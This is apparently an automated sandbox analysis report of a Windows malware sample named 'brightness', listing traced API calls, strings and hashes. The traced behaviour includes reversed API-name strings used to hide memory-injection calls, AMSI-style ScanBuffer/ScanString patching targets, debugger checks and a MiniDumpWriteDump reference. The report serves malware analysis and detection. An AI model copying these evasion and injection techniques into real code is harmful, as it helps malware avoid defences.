ntdll, xrefs: 027CA45D, 027CA471, 027CA529, 027CA6CC, 027CA6E0
bcrypt, xrefs: 027CA3B0, 027CA3C4, 027CA3D8
NtOpenObjectAuditAlarm, xrefs: 027CA46C, 027CA524
sppc, xrefs: 027C91AE
BCryptRegisterProvider, xrefs: 027CA3D3
MiniDumpWriteDump, xrefs: 027CA54C
UacScan, xrefs: 027C8CAB, 027C8EC3, 027C94BF, 027C98BB, 027C9A2F, 027CA1D9, 027CA671
SLGetLicenseInformation, xrefs: 027C9197

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: LibraryMemoryVirtual$AddressAllocateContextCreateFreeHandleLoadModuleProcProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2852987580-51457883
Opcode ID: 7e64018c608a2c33e1916c63985a5e69b07ccbd1f990017677b7f21d04c9b6a1
Instruction ID: 9d7e922069e15c88bf44efdfa0916754d8a9c234c27ff2cd70843170c576becc
Opcode Fuzzy Hash: 7e64018c608a2c33e1916c63985a5e69b07ccbd1f990017677b7f21d04c9b6a1
Instruction Fuzzy Hash: B5E22D75A105299FDB13EB74CCB9BDE73BABF88300F2141BAE005AB255DA309E458F51

Function 027B5A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,027B0000,027DE790), ref: 027B5A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027B0000,027DE790), ref: 027B5AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027B0000,027DE790), ref: 027B5AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 027B5AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,027B5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 027B5B37
RegQueryValueExA.ADVAPI32(?,027B5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,027B5B7D,?,80000001), ref: 027B5B55
RegCloseKey.ADVAPI32(?,027B5B84,00000000,?,?,00000000,027B5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 027B5B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 027B5B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 027B5BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 027B5BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 027B5BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027B5C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027B5C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027B5C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027B5C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 027B5C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 027B5C97

Strings

Software\Borland\Locales, xrefs: 027B5AA8, 027B5AC6
Software\Borland\Delphi\Locales, xrefs: 027B5AE4

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 81579fc8422512ed0493a974e25dd0c47a41a41ce7d0c9d1aa0b7274270c7e08
Instruction ID: bcd66b6a5d9681d14a1ba6cc7ac0a7b328d1f5d879edd603a14962e687a015f2
Opcode Fuzzy Hash: 81579fc8422512ed0493a974e25dd0c47a41a41ce7d0c9d1aa0b7274270c7e08
Instruction Fuzzy Hash: 2B5185B1E4020D7EFB27D6A4DC4AFEF7BBD9F04744F8001A1A604E6181EB749A448FA4

Function 027C8798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize,028123A4,027CA774,UacScan), ref: 027C87AC
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027C87C6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize), ref: 027C8802

Part of subcall function 027C7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C7D6C

Strings

BCryptVerifySignature, xrefs: 027C87BF
bcrypt, xrefs: 027C87AB

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 6eaf25be5fc9e4e68641c5081ce4a8ea637ff8ceec314fba3947fd149347ab0d
Instruction ID: f62c199a2aae958e3d821f0dbe484a05c2aa7afdc9afbacdd2087b425ad6059a
Opcode Fuzzy Hash: 6eaf25be5fc9e4e68641c5081ce4a8ea637ff8ceec314fba3947fd149347ab0d
Instruction Fuzzy Hash: 00F0C8B9E813349EEB15AA79A849F5677DCF786314F08093DBA18871E4D77444108B50

Function 027CF024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 027CF034
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 027CF046
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 027CF05D

Strings

KernelBase, xrefs: 027CF02F
CheckRemoteDebuggerPresent, xrefs: 027CF040

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 3c9b50cb78c9717415c62e6460927a5b43dccb0fe132cfa9db8d84303bc48c7a
Instruction ID: 92ac247b1c4f444597808639bfbb9dfa90e02f5a11dfcabbae4f9fe4651e67e0
Opcode Fuzzy Hash: 3c9b50cb78c9717415c62e6460927a5b43dccb0fe132cfa9db8d84303bc48c7a
Instruction Fuzzy Hash: 45F0A770A44248AAD711B6B888897DDFBBA9B15738F7443DEE825625C1E77106C0C652

Function 027CDFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027B4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 027B4EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CE0B4), ref: 027CE01F
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,027CE0B4), ref: 027CE04F
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 027CE064
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 027CE090
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 027CE099

Part of subcall function 027B4C0C: SysFreeString.OLEAUT32(027CED84), ref: 027B4C1A

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 627111ee9a31dd7e4ff2198a41a3451a1f9e1606efabb223dccf9abfac2386cd
Instruction ID: b2c4220db80f7f3d5581f58fbe603b65fe9ea0e9078a2b6705cc4e11aacde455
Opcode Fuzzy Hash: 627111ee9a31dd7e4ff2198a41a3451a1f9e1606efabb223dccf9abfac2386cd
Instruction Fuzzy Hash: BB21C171A40308BAEB12EAE4CC5AFDFB7BDAF08B00F510465B700F71C1D674AA458B55

Function 027CE72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 027CE86A

Strings

ScanBuffer, xrefs: 027CE7B3
Initialize, xrefs: 027CE75A
OpenSession, xrefs: 027CE80C

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: dbe09ed7f8345b383a09f08ee6e2c25d0ffbdcd20178edabcbef31baeffbc582
Instruction ID: 1a09b16c5eaf8549e5ed26ac3c92c9207fbfa9f4d3dc133b4e3205b806184558
Opcode Fuzzy Hash: dbe09ed7f8345b383a09f08ee6e2c25d0ffbdcd20178edabcbef31baeffbc582
Instruction Fuzzy Hash: E341FC75A141099FEB13EBB4D8A6BDEB7FAEF48710F214439E041A7646DA74AD018F10

Function 027CDF00 Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027B4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 027B4EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CDFD2), ref: 027CDF3F
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 027CDF79
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 027CDFA6
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 027CDFAF

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 1747cd7bb144f78b8aeb7f2a9e500b6c9b0e40afc1475e26138f67484bc23b4d
Instruction ID: 9dfa117de2e8d98ad27b0fd3d0471556c937f664a69398b77a2b35220230af28
Opcode Fuzzy Hash: 1747cd7bb144f78b8aeb7f2a9e500b6c9b0e40afc1475e26138f67484bc23b4d
Instruction Fuzzy Hash: 8321EE71A40308BAEB22EAE0CC56FDEB7BDAF05B00F604065B600F71C1D7B06A048B55

Function 027C79AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027C7A1F

Strings

yromeMlautriVetacollAwZ, xrefs: 027C79C7
ntdll, xrefs: 027C79F4

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 46e1b60403e2b83acec05c6693fab6a9e40b5b1b5cfbc2a76c68b9cb1dfd6e75
Instruction ID: ed87d860757057b5d815bde0bf2704a1dda0b06b8debcb862a02356f2b10c319
Opcode Fuzzy Hash: 46e1b60403e2b83acec05c6693fab6a9e40b5b1b5cfbc2a76c68b9cb1dfd6e75
Instruction Fuzzy Hash: DC111E75640208BFEB06DFA4DC55F9EB7EDEF48710F514869B900D7650DA30AA108F65

Function 027C79AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027C7A1F

Strings

yromeMlautriVetacollAwZ, xrefs: 027C79C7
ntdll, xrefs: 027C79F4

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: d277aafe06ce33d70e76b2ac80633c5be9b9d4b845067e294ca4656ecbfcfa0c
Instruction ID: 406f7b3a24f6a4ff6c835a1f1c523e0c72518abd66f0cd50b7819b8c362513c0
Opcode Fuzzy Hash: d277aafe06ce33d70e76b2ac80633c5be9b9d4b845067e294ca4656ecbfcfa0c
Instruction Fuzzy Hash: F2111E75640208AFEB06DFA4DC55F9EB7ADEF48710F514869B900D7650DA30AA108F65

Function 027C824C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C82BD

Strings

ntdll, xrefs: 027C8294
yromeMlautriVdaeRtN, xrefs: 027C8267

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: ad8f112b77067c208851bc46f1802ce202b83b2a8542cc211e2a324e909cb43b
Instruction ID: 71661a153e8d3919eb4607b8a76577cdb0919c6e461399956ca473da1df26124
Opcode Fuzzy Hash: ad8f112b77067c208851bc46f1802ce202b83b2a8542cc211e2a324e909cb43b
Instruction Fuzzy Hash: E1016D74600208AFEB02EFA8D865F9E77EDEB4C710F614868B904D7654D630AD108B25

Function 027C7CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C7D6C

Strings

yromeMlautriVetirW, xrefs: 027C7D13
Ntdll, xrefs: 027C7D43

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: df026a3223aac5994ffefc305fa46b2dd9dda41283d65952aa76be06bc3ba308
Instruction ID: dee299fac7dee11b164edeada4775ddff8504cfae92582b1b250949f334fdc4d
Opcode Fuzzy Hash: df026a3223aac5994ffefc305fa46b2dd9dda41283d65952aa76be06bc3ba308
Instruction Fuzzy Hash: 93015274640208AFDB06EFA9DC65F9EBBEDEF4C710F614858B900D7690DA30AD508F61

Function 027C84BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

NtUnmapViewOfSection.NTDLL(?,?), ref: 027C8521

Strings

noitceSfOweiVpamnUtN, xrefs: 027C84D7
ntdll, xrefs: 027C8504

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: 12c0696f69957a25fabf646524475235df55db58a5fcf315505e6bd1917e9c96
Instruction ID: 2c46e37b79007b720777e905a3b0069072874baf8fc24568b51798af90792f21
Opcode Fuzzy Hash: 12c0696f69957a25fabf646524475235df55db58a5fcf315505e6bd1917e9c96
Instruction Fuzzy Hash: 45016778640214AFEB03EF74DC65F9EB7EEEF48710F614868B400D7650DA70A9108F21

Function 027CDE24 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 027CDEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CDEF2), ref: 027CDEB6
NtDeleteFile.NTDLL(?), ref: 027CDED5

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
